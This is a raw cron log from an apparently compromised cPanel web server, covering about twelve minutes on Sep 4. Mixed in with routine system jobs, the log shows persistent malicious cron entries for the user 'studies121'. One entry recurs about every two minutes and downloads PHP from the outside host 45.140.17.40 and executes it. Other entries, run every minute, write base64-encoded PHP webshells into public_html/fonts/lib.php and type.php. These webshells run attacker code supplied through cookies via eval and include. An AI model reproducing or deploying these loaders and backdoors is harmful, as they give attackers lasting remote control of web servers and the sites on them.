Sep  4 15:49:01 ip-184-168-122-23 CROND[16759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:50:01 ip-184-168-122-23 CROND[16941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:50:01 ip-184-168-122-23 CROND[16944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:50:02 ip-184-168-122-23 CROND[16943]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:50:02 ip-184-168-122-23 CROND[16948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:50:02 ip-184-168-122-23 CROND[16945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:50:02 ip-184-168-122-23 CROND[16950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:50:02 ip-184-168-122-23 CROND[16949]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 15:50:02 ip-184-168-122-23 CROND[16947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:50:02 ip-184-168-122-23 CROND[16946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:51:01 ip-184-168-122-23 CROND[17064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:51:01 ip-184-168-122-23 CROND[17062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:51:01 ip-184-168-122-23 CROND[17063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:51:01 ip-184-168-122-23 CROND[17061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:52:01 ip-184-168-122-23 CROND[17153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:52:01 ip-184-168-122-23 CROND[17154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:52:01 ip-184-168-122-23 CROND[17155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:52:01 ip-184-168-122-23 CROND[17156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:52:01 ip-184-168-122-23 CROND[17157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:53:01 ip-184-168-122-23 CROND[17253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:53:01 ip-184-168-122-23 CROND[17255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:53:01 ip-184-168-122-23 CROND[17257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:53:01 ip-184-168-122-23 CROND[17254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:54:01 ip-184-168-122-23 CROND[17341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:54:01 ip-184-168-122-23 CROND[17340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:54:01 ip-184-168-122-23 CROND[17342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:54:01 ip-184-168-122-23 CROND[17343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:54:01 ip-184-168-122-23 CROND[17344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:55:01 ip-184-168-122-23 CROND[17434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:55:01 ip-184-168-122-23 CROND[17436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:55:01 ip-184-168-122-23 CROND[17435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:55:01 ip-184-168-122-23 CROND[17437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:55:01 ip-184-168-122-23 CROND[17438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:55:01 ip-184-168-122-23 CROND[17439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:56:01 ip-184-168-122-23 CROND[17525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:56:01 ip-184-168-122-23 CROND[17527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:56:01 ip-184-168-122-23 CROND[17528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:56:01 ip-184-168-122-23 CROND[17530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:56:01 ip-184-168-122-23 CROND[17529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:57:01 ip-184-168-122-23 CROND[17692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:57:01 ip-184-168-122-23 CROND[17694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:57:01 ip-184-168-122-23 CROND[17695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:57:01 ip-184-168-122-23 CROND[17693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:58:01 ip-184-168-122-23 CROND[17770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:58:01 ip-184-168-122-23 CROND[17772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:58:01 ip-184-168-122-23 CROND[17773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:58:01 ip-184-168-122-23 CROND[17771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:58:01 ip-184-168-122-23 CROND[17774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:59:01 ip-184-168-122-23 CROND[17866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:59:01 ip-184-168-122-23 CROND[17867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:59:01 ip-184-168-122-23 CROND[17868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:59:01 ip-184-168-122-23 CROND[17869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:00:01 ip-184-168-122-23 CROND[17955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:00:01 ip-184-168-122-23 CROND[17956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:00:01 ip-184-168-122-23 CROND[17958]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 16:00:01 ip-184-168-122-23 CROND[17960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:00:01 ip-184-168-122-23 CROND[17957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:00:01 ip-184-168-122-23 CROND[17959]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:00:01 ip-184-168-122-23 CROND[17961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:00:01 ip-184-168-122-23 CROND[17962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:00:01 ip-184-168-122-23 CROND[17963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:01:01 ip-184-168-122-23 CROND[18058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:01:01 ip-184-168-122-23 CROND[18060]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 16:01:01 ip-184-168-122-23 CROND[18061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:01:01 ip-184-168-122-23 CROND[18062]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 16:01:01 ip-184-168-122-23 CROND[18064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:01:01 ip-184-168-122-23 CROND[18063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18060]: starting 0anacron
